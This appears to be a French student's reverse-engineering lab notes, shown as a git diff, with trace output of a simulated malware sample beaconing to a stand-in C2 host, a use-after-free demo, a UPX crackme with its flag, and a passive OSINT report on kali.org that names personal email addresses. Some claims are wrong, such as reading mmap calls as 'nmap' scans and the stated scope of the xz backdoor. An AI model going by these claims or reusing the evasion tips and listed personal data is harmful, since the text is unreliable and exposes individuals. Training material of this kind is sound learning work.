mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x782c9dd89000
arch_prctl(ARCH_SET_FS, 0x782c9dd89740) = 0
set_tid_address(0x782c9dd89a10) = 1444
set_robust_list(0x782c9dd89a20, 24) = 0
rseq(0x782c9dd89680, 0x20, 0, 0x53053053) = 0
mprotect(0x782c9df6f000, 16384, PROT_READ) = 0
mprotect(0x5a33218fd000, 4096, PROT_READ) = 0
mprotect(0x782c9dfd2000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
getrandom("\xd4\x25\xe5\x11\xe9\xd4\x3b\xa3", 8, GRND_NONBLOCK) = 8
munmap(0x782c9df82000, 72343) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x2), ...}) = 0
brk(NULL) = 0x5a332bfb8000
brk(0x5a332bfd9000) = 0x5a332bfd9000
write(1, "[malware_demo] Demarrage simulat"..., 36[malware_demo] Demarrage simulation
) = 36
write(1, "[*] Verification debugger (IsDeb"..., 56[*] Verification debugger (IsDebuggerPresent simule)...
) = 56
clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=1, tv_nsec=0}, 0x7ffcc966cf10) = 0
write(1, "[*] Tentative de connexion vers "..., 66[*] Tentative de connexion vers http://evil-c2.example.com/beacon
) = 66
write(1, "[*] Tentative d'ecriture : /tmp/"..., 48[*] Tentative d'ecriture : /tmp/.hidden_payload
) = 48
openat(AT_FDCWD, "/tmp/.hidden_payload", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(3, "ceci est un payload pedagogique "..., 38) = 38
close(3) = 0
write(1, "[*] Fichier cree.\n", 18[*] Fichier cree.
) = 18
write(1, "[malware_demo] Fin simulation\n", 30[malware_demo] Fin simulation
) = 30
exit_group(0) = ?
+++ exited with 0 +++
```
```bash
$ ltrace ./sample_malware
puts("[malware_demo] Demarrage simulat"...[malware_demo] Demarrage simulation
) = 36
puts("[*] Verification debugger (IsDeb"...[*] Verification debugger (IsDebuggerPresent simule)...
) = 56
sleep(1) = 0
printf("[*] Tentative de connexion vers "...[*] Tentative de connexion vers http://evil-c2.example.com/beacon
) = 66
printf("[*] Tentative d'ecriture : %s\n", "/tmp/.hidden_payload"[*] Tentative d'ecriture : /tmp/.hidden_payload
) = 48
fopen("/tmp/.hidden_payload", "w") = 0x567787cc1720
fwrite("ceci est un payload pedagogique "..., 1, 38, 0x567787cc1720) = 38
fclose(0x567787cc1720) = 0
puts("[*] Fichier cree."[*] Fichier cree.
) = 18
puts("[malware_demo] Fin simulation"[malware_demo] Fin simulation
) = 30
+++ exited (status 0) +++
$ cat /tmp/.hidden_payload
ceci est un payload pedagogique benin
```
### GDB
```bash
$ gdb -q ./sample_malware
Reading symbols from ./sample_malware...
(No debugging symbols found in ./sample_malware)
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000001000 _init
0x0000000000001030 puts@plt
0x0000000000001040 fclose@plt
0x0000000000001050 printf@plt
0x0000000000001060 fopen@plt
0x0000000000001070 fwrite@plt
0x0000000000001080 sleep@plt
0x0000000000001090 __cxa_finalize@plt
0x00000000000010a0 _start
0x00000000000010d0 deregister_tm_clones
0x0000000000001100 register_tm_clones
0x0000000000001140 __do_global_dtors_aux
0x0000000000001180 frame_dummy
0x0000000000001189 fake_network
0x00000000000011ae fake_persistence
0x0000000000001236 fake_evasion
0x0000000000001256 main
0x00000000000012a0 _fini
```
### Questions
1. Quels sont les 3 IoCs les plus évidents trouvés avec strings ?
- http://evil-c2.example.com/beacon
- HKLM\Software\Microsoft\Windows\CurrentVersion\Run
- /tmp/.hidden_payload
2. strace montre-t-il un appel connect() réseau ? Pourquoi ?
- On voit de multiples "nmap" effectués. Les prints vers le faux site ne comptent pas. Il cherche certainement à sonder le réseau local pour s'étendre
3. Le fichier /tmp/.hidden_payload est-il visible avec ls /tmp/ ? Avec ls -la /tmp/ ?
- Non, le . de départ le met comme fichier caché. LS par défaut ne l'affichera pas
- Oui, avec le `-a`. marche aussi avec le `-A`.
4. Comment un vrai malware rendrait-il ces strings moins détectables ? (XOR, base64, chiffrement)
- Un encodage en base64 se décoderait assez vite. le mieux est d'utiliser un chiffrement avec une clef obfusquée, soit qui récupère une variable sur le PC dans le poule entropique (mais qu'on peut retracer quand on a la nanoseconde d'exécution locale) soit pré-enregistrée et chiffrée dans le code, mais son mode statique rend la clef crackable "dans l'absolu"
5. Quelle différence entre analyse statique et analyse dynamique pour ce binaire ?
- La statique va analyser les fonctions, les adresses, les pointeurs etc
- Le dynamique va le faire tourner et vérifier les actions de sortie
## uaf_demo
[text](about:blank#blocked)
```bash
$ objdump -f uaf_demo
uaf_demo: file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000150:
HAS_SYMS, DYNAMIC, D_PAGED
start address 0x0000000000001070
$ objdump -d uaf_demo | grep ">:"
0000000000001000 <_init>:
0000000000001020 <free@plt-0x10>:
0000000000001030 <free@plt>:
0000000000001040 <printf@plt>:
0000000000001050 <malloc@plt>:
0000000000001060 <__cxa_finalize@plt>:
0000000000001070 <_start>:
00000000000010a0 <deregister_tm_clones>:
00000000000010d0 <register_tm_clones>:
0000000000001110 <__do_global_dtors_aux>:
0000000000001150 <frame_dummy>:
0000000000001159 <main>:
0000000000001218 <_fini>:
$ objdump -d uaf_demo | grep "<free" -A 10
0000000000001020 <free@plt-0x10>:
1020: ff 35 ca 2f 00 00 push 0x2fca(%rip) # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
1026: ff 25 cc 2f 00 00 jmp *0x2fcc(%rip) # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
102c: 0f 1f 40 00 nopl 0x0(%rax)
0000000000001030 <free@plt>:
1030: ff 25 ca 2f 00 00 jmp *0x2fca(%rip) # 4000 <free@GLIBC_2.2.5>
1036: 68 00 00 00 00 push $0x0
103b: e9 e0 ff ff ff jmp 1020 <_init+0x20>
0000000000001040 <printf@plt>:
1040: ff 25 c2 2f 00 00 jmp *0x2fc2(%rip) # 4008 <printf@GLIBC_2.2.5>
1046: 68 01 00 00 00 push $0x1
104b: e9 d0 ff ff ff jmp 1020 <_init+0x20>
```
### valgrind
```bash
$ ./uaf_demo
Avant free : donnees sensibles
Apres free : _p,
Apres reutilisation : ecrasement UAF
$ ./uaf_demo
Avant free : donnees sensibles
Apres free : /
Apres reutilisation : ecrasement UAF
$ valgrind --leak-check=full ./uaf_demo
==1869== Memcheck, a memory error detector
==1869== Copyright (C) 2002-2024, and GNU GPL'd, by Julian Seward et al.
==1869== Using Valgrind-3.25.1 and LibVEX; rerun with -h for copyright info
==1869== Command: ./uaf_demo
==1869==
Avant free : donnees sensibles
==1869== Invalid read of size 1
==1869== at 0x4852CE6: strlen (vg_replace_strmem.c:506)
==1869== by 0x48D7ACF: __printf_buffer (vfprintf-process-arg.c:443)
==1869== by 0x48D87A0: __vfprintf_internal (vfprintf-internal.c:1543)
==1869== by 0x48CD26A: printf (printf.c:33)
==1869== by 0x40011D5: main (uaf_demo.c:11)
==1869== Address 0x4a6b040 is 0 bytes inside a block of size 64 free'd
==1869== at 0x484C87F: free (vg_replace_malloc.c:989)
==1869== by 0x40011BA: main (uaf_demo.c:9)
==1869== Block was alloc'd at
==1869== at 0x4849818: malloc (vg_replace_malloc.c:446)
==1869== by 0x400116A: main (uaf_demo.c:6)
==1869==
==1869== Invalid read of size 1
==1869== at 0x4852CF4: strlen (vg_replace_strmem.c:506)
==1869== by 0x48D7ACF: __printf_buffer (vfprintf-process-arg.c:443)
==1869== by 0x48D87A0: __vfprintf_internal (vfprintf-internal.c:1543)
==1869== by 0x48CD26A: printf (printf.c:33)
==1869== by 0x40011D5: main (uaf_demo.c:11)
==1869== Address 0x4a6b041 is 1 bytes inside a block of size 64 free'd
==1869== at 0x484C87F: free (vg_replace_malloc.c:989)
==1869== by 0x40011BA: main (uaf_demo.c:9)
==1869== Block was alloc'd at
==1869== at 0x4849818: malloc (vg_replace_malloc.c:446)
==1869== by 0x400116A: main (uaf_demo.c:6)
==1869==
==1869== Invalid read of size 1
==1869== at 0x4857730: memmove (vg_replace_strmem.c:1415)
==1869== by 0x48CDBF7: memcpy (string_fortified.h:29)
==1869== by 0x48CDBF7: __printf_buffer_write (Xprintf_buffer_write.c:39)
==1869== by 0x48D63B1: __printf_buffer (vfprintf-process-arg.c:471)
==1869== by 0x48D87A0: __vfprintf_internal (vfprintf-internal.c:1543)
==1869== by 0x48CD26A: printf (printf.c:33)
==1869== by 0x40011D5: main (uaf_demo.c:11)
==1869== Address 0x4a6b040 is 0 bytes inside a block of size 64 free'd
==1869== at 0x484C87F: free (vg_replace_malloc.c:989)
==1869== by 0x40011BA: main (uaf_demo.c:9)
==1869== Block was alloc'd at
==1869== at 0x4849818: malloc (vg_replace_malloc.c:446)
==1869== by 0x400116A: main (uaf_demo.c:6)
==1869==
==1869== Invalid read of size 1
==1869== at 0x485773D: memmove (vg_replace_strmem.c:1415)
==1869== by 0x48CDBF7: memcpy (string_fortified.h:29)
==1869== by 0x48CDBF7: __printf_buffer_write (Xprintf_buffer_write.c:39)
==1869== by 0x48D63B1: __printf_buffer (vfprintf-process-arg.c:471)
==1869== by 0x48D87A0: __vfprintf_internal (vfprintf-internal.c:1543)
==1869== by 0x48CD26A: printf (printf.c:33)
==1869== by 0x40011D5: main (uaf_demo.c:11)
==1869== Address 0x4a6b042 is 2 bytes inside a block of size 64 free'd
==1869== at 0x484C87F: free (vg_replace_malloc.c:989)
==1869== by 0x40011BA: main (uaf_demo.c:9)
==1869== Block was alloc'd at
==1869== at 0x4849818: malloc (vg_replace_malloc.c:446)
==1869== by 0x400116A: main (uaf_demo.c:6)
==1869==
Apres free : donnees sensibles
==1869== Invalid write of size 8
==1869== at 0x40011E4: main (uaf_demo.c:12)
==1869== Address 0x4a6b040 is 0 bytes inside a block of size 64 free'd
==1869== at 0x484C87F: free (vg_replace_malloc.c:989)
==1869== by 0x40011BA: main (uaf_demo.c:9)
==1869== Block was alloc'd at
==1869== at 0x4849818: malloc (vg_replace_malloc.c:446)
==1869== by 0x400116A: main (uaf_demo.c:6)
==1869==
==1869== Invalid write of size 8
==1869== at 0x40011F1: main (uaf_demo.c:12)
==1869== Address 0x4a6b047 is 7 bytes inside a block of size 64 free'd
==1869== at 0x484C87F: free (vg_replace_malloc.c:989)
==1869== by 0x40011BA: main (uaf_demo.c:9)
==1869== Block was alloc'd at
==1869== at 0x4849818: malloc (vg_replace_malloc.c:446)
==1869== by 0x400116A: main (uaf_demo.c:6)
==1869==
==1869== Invalid read of size 2
==1869== at 0x4857700: memmove (vg_replace_strmem.c:1415)
==1869== by 0x48CDBF7: memcpy (string_fortified.h:29)
==1869== by 0x48CDBF7: __printf_buffer_write (Xprintf_buffer_write.c:39)
==1869== by 0x48D63B1: __printf_buffer (vfprintf-process-arg.c:471)
==1869== by 0x48D87A0: __vfprintf_internal (vfprintf-internal.c:1543)
==1869== by 0x48CD26A: printf (printf.c:33)
==1869== by 0x400120F: main (uaf_demo.c:13)
==1869== Address 0x4a6b040 is 0 bytes inside a block of size 64 free'd
==1869== at 0x484C87F: free (vg_replace_malloc.c:989)
==1869== by 0x40011BA: main (uaf_demo.c:9)
==1869== Block was alloc'd at
==1869== at 0x4849818: malloc (vg_replace_malloc.c:446)
==1869== by 0x400116A: main (uaf_demo.c:6)
==1869==
==1869== Invalid read of size 2
==1869== at 0x485770F: memmove (vg_replace_strmem.c:1415)
==1869== by 0x48CDBF7: memcpy (string_fortified.h:29)
==1869== by 0x48CDBF7: __printf_buffer_write (Xprintf_buffer_write.c:39)
==1869== by 0x48D63B1: __printf_buffer (vfprintf-process-arg.c:471)
==1869== by 0x48D87A0: __vfprintf_internal (vfprintf-internal.c:1543)
==1869== by 0x48CD26A: printf (printf.c:33)
==1869== by 0x400120F: main (uaf_demo.c:13)
==1869== Address 0x4a6b044 is 4 bytes inside a block of size 64 free'd
==1869== at 0x484C87F: free (vg_replace_malloc.c:989)
==1869== by 0x40011BA: main (uaf_demo.c:9)
==1869== Block was alloc'd at
==1869== at 0x4849818: malloc (vg_replace_malloc.c:446)
==1869== by 0x400116A: main (uaf_demo.c:6)
==1869==
Apres reutilisation : ecrasement UAF
==1869==
==1869== HEAP SUMMARY:
==1869== in use at exit: 0 bytes in 0 blocks
==1869== total heap usage: 2 allocs, 2 frees, 1,088 bytes allocated
==1869==
==1869== All heap blocks were freed -- no leaks are possible
==1869==
==1869== For lists of detected and suppressed errors, rerun with: -s
==1869== ERROR SUMMARY: 59 errors from 8 contexts (suppressed: 0 from 0)
```
### GDB
```bash
$ gdb -q ./uaf_demo
Reading symbols from ./uaf_demo...
(gdb) break main
Breakpoint 1 at 0x1161: file uaf_demo.c, line 6.
(gdb) run
Starting program: /home/kali/Jour_04/uaf_demo
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main () at uaf_demo.c:6
⚠️ warning: 6 uaf_demo.c: No such file or directory
(gdb) print ptr
$1 = 0x7ffff7fe5990 <dl_main> "Uf\017\357\300H\211\345AWAVAUI\211\315ATI\211\374SH\201\354x\002"
(gdb) x/1s ptr
0x7ffff7fe5990 <dl_main>: "Uf\017\357\300H\211\345AWAVAUI\211\315ATI\211\374SH\201\354x\002"
(gdb) next
7 in uaf_demo.c
(gdb) print ptr
$2 = 0x555555559310 ""
(gdb) x/1s ptr
0x555555559310: ""
(gdb) next
8 in uaf_demo.c
(gdb) print ptr
$3 = 0x555555559310 "donnees sensibles"
(gdb) x/1s ptr
0x555555559310: "donnees sensibles"
(gdb) x/10x ptr
0x555555559310: 0x64 0x6f 0x6e 0x6e 0x65 0x65 0x73 0x20
0x555555559318: 0x73 0x65
(gdb) next
Avant free : donnees sensibles
9 in uaf_demo.c
(gdb) print ptr
$4 = 0x555555559310 "donnees sensibles"
(gdb) x/1s ptr
0x555555559310: "donnees sensibles"
(gdb) next
11 in uaf_demo.c
(gdb) print ptr
$5 = 0x555555559310 "YUUU\005"
(gdb) x/1s ptr
0x555555559310: "YUUU\005"
(gdb) x/10x ptr
0x555555559310: 0x59 0x55 0x55 0x55 0x05 0x00 0x00 0x00
0x555555559318: 0x8c 0xcb
(gdb) continue
Continuing.
Apres free : YUUU
Apres reutilisation : ecrasement UAF
[Inferior 1 (process 1979) exited normally]
(gdb) quit
```
### Questions
1. Pourquoi la ligne "Après free" affiche-t-elle encore les données ? Est-ce garanti ?
- Ligne 11, après le `free`, j'ai fait un `print ptr` et l'adresse n'avait pas changé. Le pointeur n'a PAS été effacé. En faisant un `x/10x ptr` on a surtout vu des données devenues YUUU etc. `free()` ne nettoie pas la mémoire pour gagner sur les perfs, et marque la zone comme disponible. Alors la librairie C la réutilise. Mais ce n'est pas garanti, c'est indéterminé. Au p'tit bonheur la chance.
2. Quelle bonne pratique évite ce bug ? (ptr = NULL après free)
- On force le pointeur à NULL après `free(prt)`. Si on avait voulu faire un `print ptr` le segment aurait été vide.
3. Valgrind signale-t-il une erreur sur la lecture ou l'écriture, ou les deux ?
- `Invalid read of size 1` => lors du `strlen` juste après le `free`
- `Invalid write of size 8` => lors du `strcpy`
- Donc les deux
4. Dans quel type de programme réel ce pattern est-il le plus dangereux ?
- Les navigateurs internet pour corrompre de la mémoire et lancer des programmes à distance
- Les noyaux d'OS (corruption, élévation de privilèges, etc)
- Les services sur réseau (FTP/SMB, Chiffreurs...) pour divulguer des secrets
## crackme_packed
```bash
$ file crackme_packed
crackme_packed: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
$ objdump -f crackme_packed
crackme_packed: file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x00000000004056d8
$ objdump -d crackme_packed
crackme_packed: file format elf64-x86-64
$ strings crackme_packed | head -20
UPX!
'@6!O
e-!x7
,!O\
/>@
/lib64
nux-x86-
.so.2G
puts
c_start_ma
rcmp
6GLIBC_2
;34@gmon_V
i e0
PTE1
H=(@@
Usage: %s <password>
3v3rs3_M3
Bien joue ! F
LAG 3CTF{cl34n_cr4ckm3}
hexdump -C crackme_packed | grep -b "UPX!"
1029:000000e0 10 00 00 00 00 00 00 00 b4 fd 70 eb 55 50 58 21 |..........p.UPX!|
14380:00000b70 81 fe 55 50 58 21 75 11 2f 7d 00 30 b5 26 eb 04 |..UPX!u./}.0.&..|
29232:00001730 ff 00 00 00 00 55 50 58 21 00 00 00 00 00 00 00 |.....UPX!.......|
29311:00001740 55 50 58 21 0e 16 02 08 04 f6 53 57 3d c8 02 68 |UPX!......SW=..h|
```
```bash
$ upx -d crackme_packed -o crackme_unpacked
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.4 Markus Oberhumer, Laszlo Molnar & John Reiser May 9th 2024
File size Ratio Format Name
-------------------- ------ ----------- -----------
25451 <- 5988 23.53% linux/amd64 crackme_unpacked
Unpacked 1 file.
```
```bash
$ file crackme_unpacked
crackme_unpacked: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=52cf967f660a06f4e0f0cd0bee921df5987f6d86, for GNU/Linux 3.2.0, not stripped
$ objdump -f crackme_unpacked
crackme_unpacked: file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x0000000000401060
$ objdump -d crackme_unpacked | grep ">:"
0000000000401000 <_init>:
0000000000401020 <puts@plt-0x10>:
0000000000401030 <puts@plt>:
0000000000401040 <printf@plt>:
0000000000401050 <strcmp@plt>:
0000000000401060 <_start>:
0000000000401090 <_dl_relocate_static_pie>:
00000000004010a0 <deregister_tm_clones>:
00000000004010d0 <register_tm_clones>:
0000000000401110 <__do_global_dtors_aux>:
0000000000401140 <frame_dummy>:
0000000000401146 <main>:
00000000004011c8 <_fini>:
```
### Questions
1. Que retourne strings sur le binaire packed avant unpacking ? Après ?
- Avant : Empaqueté, le binaire chiffre/compresse le binaire, et rend les chaînes de caractères illisibles. Le fait de voir "UPX!" au début du binaire semble étrange. Et qu'il laisse passer "3CTF{cl34n_cr4chm3}" encore plus.
- Après : "UPX!" a disparu (normal) et tout est récupérable en clair.
2. Où se trouve la signature UPX dans le fichier (offset hexa) ?
- Première ligne, en en-tête. Je vois que ça correspond à un offset standard, de 0x3c à 0x40, correspond à `p_info`. Ici c'était 0xe0
3. Si le packer était personnalisé (sans signature connue), comment détecteriez-vous la compression ?
- En utilisant un empaqueteur anonyme ou maison... j'ai dû me renseigner sur les comportements structurels :
- L'analyse du niveau d'entropie, 5 ou 6 sur un binaire "normal", plutôt 8 sur un binaire compressé
- Absences ou anomalies dans les sections
- Un nombre anormalement faible de fonctions (il faut quand même une certaine base pour qu'un binaire fonctionne)
- La différence de poids entre le fichier binaire et la place tenue dans le poule mémoire (donc sa "vraie" taille une fois décompressée)
4. Quel intérêt pour un malware d'utiliser un packer ? Quelles limites ?
- Echapper à la détection statique, au profit d'une dynamique (il faut lancer le programme pour alerter le système)
- Ralentir l'ingénierie inversée
- Néanmoins, les antivirus modernes sont pas stupides, ils bloquent les instructions mémoire à bas niveau, et utiliser un empaqueteur générique comme UPX ne trompera aucun antivirus ni aucun EDR énervé. Et le comportement d'exécution restera identique, les antivirus se basent là-dessus surtout
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,381 @@
# Evaluation **Facile** - Florian POMPIDOU
A la demande du client, il a été demandé d'employer diverses méthodes d'analyse sur :
- Un domaine public `kali.org` par des moyens *passifs* (aucun scan actif n'est autorisé, faute d'accord avec la structure ciblée)
- Des actifs numériques sous forme de binaires
## 1. OSINT
### A. Reconnaissance
#### a. Analyse des sous-domaines
Pour l'analyse des sous-domaines, en l'absence d'accès à l'API de CRT.SH, j'ai utilisé l'outil [`DNSDumpster`](https://dnsdumpster.com). Celui-ci affiche le contenu complet d'un WHOIS classique, mais mis en cache par plusieurs retours perpétuels sur le temps long, et donne un rendu sous forme de graphique pour montrer les interconnexions, en plus de proposer un export en .xlsx pour étude hors-ligne. Une conversion en .csv est jointe au rapport présent.
![alt-text](kali.org-566f749b-07b1-4c1d-8251-1563486b7a23.png)
Le domaine `kali.org` fait ainsi état de 84 enregistrements DNS, répartis sommairement comme suit :
| Top 5 Banners | |
| -------------------------------------- | ---------------------------------- |
| Name | Count |
| cloudflare | 60 |
| nginx | 26 |
| SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7 | 16 |
| Top 5 ASN | | | |
| -------------------------------------- | ---------------------------------- | ---------------- | ------------- |
| ASN | ASN Name | Network Range | Count |
| 13335 | CLOUDFLARENET - Cloudflare, Inc. | 172.64.32.0/24 | 30 |
| 16276 | OVH - OVH SAS, FR | 51.222.0.0/16 | 12 |
| 3701 | LINK-OREGON - University of Oregon | 140.211.0.0/16 | 5 |
| 15169 | GOOGLE - Google LLC | 192.178.155.0/24 | 5 |
| 14618 | AMAZON-AES - Amazon.com, Inc. | 3.208.0.0/12 | 2 |
| Top 5 Countries | |
| -------------------------------------- | ---------------------------------- |
| Name | Count |
| United States | 15 |
| Canada | 10 |
| France | 2 |
#### b. Analyse de relations
A l'aide de l'outil `Maltego`, nous pouvons établir une suite de relations en partant du domaine racine.
On peut voir à l'origine de `kali.org` une suite de sous-domaines actifs et contactables, ainsi que quelques adresses courriel menant à des individus depuis un domaine `@mailbox.org`.
(*Les crédits ont manqué à ce moment-là, si j'ai le temps de refaire un compte je poursuivrai, sinon j'ai la méthode.*)
#### c. Analyse d'infrastructure technique
Pour analyser la surface d'attaque probable de façon passive, nous pouvons utiliser `Censys` et filtrer :
1. `kali.org` => Avec le nom de domaine (résultats peu fiables, filtre aussi les serveurs qui utilisent la tech/le nom ou sont fans mais ne sont pas en liens)
2. `web.cert.names = kali.org` => Avec le dispensaire de certificats de noms de domaine (plus fiable, émane vraiment de lui et trouve les liens filiaux, mais pour peu que le serveur d'émission soit autre, il faut d'abord le trouver)
3. `(kali.org) and (web.cert.names = kali.org) and (host.services.vulns.id: * or web.vulns.id: *)` => Requête avancée, permettant de ne trier QUE les services avec des CVEs récoltées. Efficace pour qui veut prévenir les services de ces vulnérabilités, mais on peut se douter que les webmaîtres de chez Kali seront des cordonniers bien chaussés. De plus, cette requête demande un abonnement payant.
Prenant un résultat sur la deuxième requête :
![alt text](image-1.png)
Le premier lien [bugs.kali.org](https://platform.censys.io/web/bugs.kali.org:443?at_time=2026-06-12T08%3A59%3A50.579922313Z) nous donne diverses informations :
- L'état du certificat TLS (empreinte, émission, émetteur, région, domaines couverts, validité, etc)
- Ports ouverts (ici, 443, HTTPS)
- Service actif (Cloudflare WAF, Web Application Firewall, donc un pare-feu actif servant de point d'entrée [à cheval entre pare-feu et répartiteur de charge])
- [Toutes les infos de la page d'entrée](https://platform.censys.io/web/bugs.kali.org:443/data/table?at_time=2026-06-12T08%3A59%3A50.579922313Z)
Pas de CVEs exposées, l'analyse peut s'arrêter là sur ce cas.
#### d. BONUS - Rapport technique centralisé
En outil complémentaire à `Censys` et `Maltego`, j'ai fait le choix d'utiliser [`BuiltWith`](https://builtwith.com/kali.org), reprenant sous forme d'onglets les différents éléments précédemment vus, même si avec une moindre portée technique, mais également avec quelques éléments supplémentaires :
1. Les technologies de base utilisées sur le site, widgets, langue d'affichage, frameworks, CDN, librairies JavaScript, prestataire de courriels, hébergeurs, certificats SSL, fichiers robots.txt, etc.
2. [La synthèse des traqueurs et analyseurs présents sur le serveur](https://builtwith.com/detailed/kali.org), comme CloudFlare insights, Google Analytics jusqu'en 2020, ou d'autres traqueurs passifs/actifs. Le choix de non-renouvellement de certaines technologies (Google Analytics) et le choix des analyseurs actuels (CloudFlare uniquement) permet de renseigner sur le profil politique de l'organisation, qui boude les outils de surveillance publicitaire, information qui peut se révéler pertinente selon le contexte étudié.
3. [Les hyperliens de sortie](https://builtwith.com/relationships/kali.org) montrant une relation directe sur les sites `exploit-db.com`, `backtrack-linux.org`, `spamtool.net`, `getspamtool.com` et `lynigma.com` permet d'établir un profil collaboratif autour du système Linux, avec l'écosystème de cybersécurité cadre "EXPLOITS", et autres partenariats (commerciaux ?) avec des outils tiers de protection.
4. [Les redirections présentes](https://builtwith.com/redirects/kali.org) permettant d'étendre un peu la "galaxie" Kali-Linux, avec des domaines comme `kali.me`, `kali.us.org`, `kali.ninja`, `kali-linux.org` ou `nethunter.com`. Redirections permanentes motivées possiblement par l'envie de ne pas voir de domaine pirate homonyme rediriger des gens honnêtes vers des outils vérolés (possiblement certains domaines sont même des domaines saisis) ou des domaines historiques sur lesquels découvrir de nouvelles étendues (API, serveurs de fichiers, etc)
#### Finalités
| Catégorie | Eléments trouvés | Outil utilisé | Observations |
| :--- | :--- | :--- | :--- |
| Domaine | kali.org | DNSDumpster | RAS |
| Sous-domaines | 10year.kali.org - aeacus.kali.org - aphrodite.kali.org - archive.kali.org - archive-4.kali.org - arm.kali.org - artemis.kali.org - artifacts.kali.org - atlas.kali.org - atropos.kali.org - autopkgtest.kali.org - bittorrent.kali.org - bugs.kali.org - buildd-amd64.kali.org - buildd-arm.kali.org - buildd-arm64.kali.org - buildd-armhf.kali.org - buildd-i386.kali.org - cdimage.kali.org - clio.kali.org - coeus.kali.org - crius.kali.org - cronos.kali.org - demeter.kali.org - dionysus.kali.org - discord.kali.org - docs.kali.org - ar.docs.kali.org - br.docs.kali.org - cn.docs.kali.org - de.docs.kali.org - en.docs.kali.org - es.docs.kali.org - fr.docs.kali.org - he.docs.kali.org - id.docs.kali.org - it.docs.kali.org - ja.docs.kali.org - nl.docs.kali.org - ru.docs.kali.org - www.docs.kali.org - downloads.kali.org - dzaa.kali.org - epimetheus.kali.org - erato.kali.org - forums.kali.org - gaia.kali.org - git.kali.org - hecate.kali.org - helios.kali.org | DNSDumpster Maltego | RAS |
| Adresses IP | 51.222.80.5 - 148.113.211.220 - 176.31.228.102 - 35.185.44.232 - 3.222.23.60 - 104.18.5.159 - 54.39.17.132 - 51.79.80.98 - 144.217.75.200 - 140.211.11.42 - 140.211.11.37 - 54.39.128.230 - 172.104.29.198 - 140.211.169.59 - 45.33.71.210 - 15.235.87.209 - 104.18.4.159 - 51.222.241.236 - | DNSDumpster Meltago | RAS |
| Services exposés | HTTPS | Censys.io | Il s'agit de Kali géré par OffSec. Je ne pense pas être en mesure de trouver plus que ce qu'ils veulent que je vois. |
| Courriel de contact | magamabazarov@mailbox.org mahamabazarov@mailbox.org | Maltego | Gérant d'un paquet intégré à la suite : [https://github.com/caster0x00/Nihilist/releases](GitHub) [https://gitlab.com/kalilinux/packages/sara](GitLab) |
| Fichiers exposés | X | X | (Crédits insuffisants) |
### B. Trouvailles
(*On parle de kali.org, géré par OffSec. C'est la suite de hacking la plus connue du monde. Je ne pense PAS avoir de quoi trouver la moindre chose à mon niveau, et si une faille s'ouvrait, leur BugBounty s'illuminerait comme un sapin de Noël un soir d'assaut lors d'une guerre de tranchées. J'ai donc trouvé des failles historiques mais patchées depuis pour répondre à la question.*)
#### MantisBT sur bugs.kali.org
MantisBT est un service de gestion des tickets.
- `Description `: Une faille dans l'authentification liée à du *Type Juggling* en PHP (usage de comparaisons `==` au lieu de `===`) permet à un attaquant de se connecter au compte admin à partir de son hash MD5
- `Source/Preuve `: [CVE-2025-47776](https://app.opencve.io/cve/CVE-2025-47776)
- `Criticité `: 91/100 (Critique)
- `Impact Potentiel `: Connexion au compte admin MantisBT sans mot de passe.
-------------------------------------------
- `Description `: Faille de déni de service liée à une taille illimitée des notes attachées dans les tickets (+ de 4 millions de caractères) capables de corrompre l'affichage de l'histoire du ticket, et le rend inopérant
- `Source/Preuve `: [CVE-2025-46556](https://app.opencve.io/cve/CVE-2025-46556)
- `Criticité `: 75/100 (Elevé)
- `Impact Potentiel `: Rend des tickets inopérants, mais pas d'impact global.
#### Discourse sur forums.kali.org
Discourse est un service de forum/plateforme de discussion basé sur Ruby.
- `Description `: Faille de divulgation des fichiers de sauvegarde liée à une mauvaise intercation entre la directive interne de NGinx et une fonction de Ruby. En devinant le nom du fichier de sauvegarde (qui suit une structure de base), on peut tromper le serveur et télécharger le dump complet de la base de données du forum.
- `Source/Preuve `: [CVE-2024-53991](https://app.opencve.io/cve/CVE-2024-53991)
- `Criticité `: 75/100 (Elevé)
- `Impact Potentiel `: Intégralité de la base de données (incluant forums secrets/admins et messages privés [si disponibles], hash de mots de passe, adresses courriels, adresses IP, etc) fuitée.
#### Paquets sur pkg.kali.org
Porte dérobée `xz-utils` découverte par l'ingénieur PHP sur base d'une requête ayant pris 500ms de trop pour lui.
- `Description `: La porte dérobée de `xz-utils` a frappé la branche `Kali Rolling`, gestionnaire des paquets de la distribution. Autrement dit, tout paquet téléchargé depuis cette branche était compromis, et chaque système était vérolé.
- `Source/Preuve `: [CVE-2024-3094](https://app.opencve.io/cve/CVE-2024-3094)
- `Criticité `: 100/100 (Maximal)
- `Impact Potentiel `: Tous les systèmes ayant téléchargé un paquet de la branche `Rolling` sont considérés comme pénétrables par une porte dérobée. Impact global et majeur.
Cette affaire a été à l'origine de plusieurs prises de conscience :
- les paquets librement maintenus peuvent être repris par des acteurs malveillants faute d'incitation à une maintenance soutenue de leur créateur
- des dépendances de dépendances de dépendances sont une faille de sécurité obfusquée à haute dangerosité
- tout le monde peut passer à côté, même les plus experts
Les équipes de Kali ont réagi en révoquant les signatures des paquets et en purgeant les dépôts.
### C. Recommendations
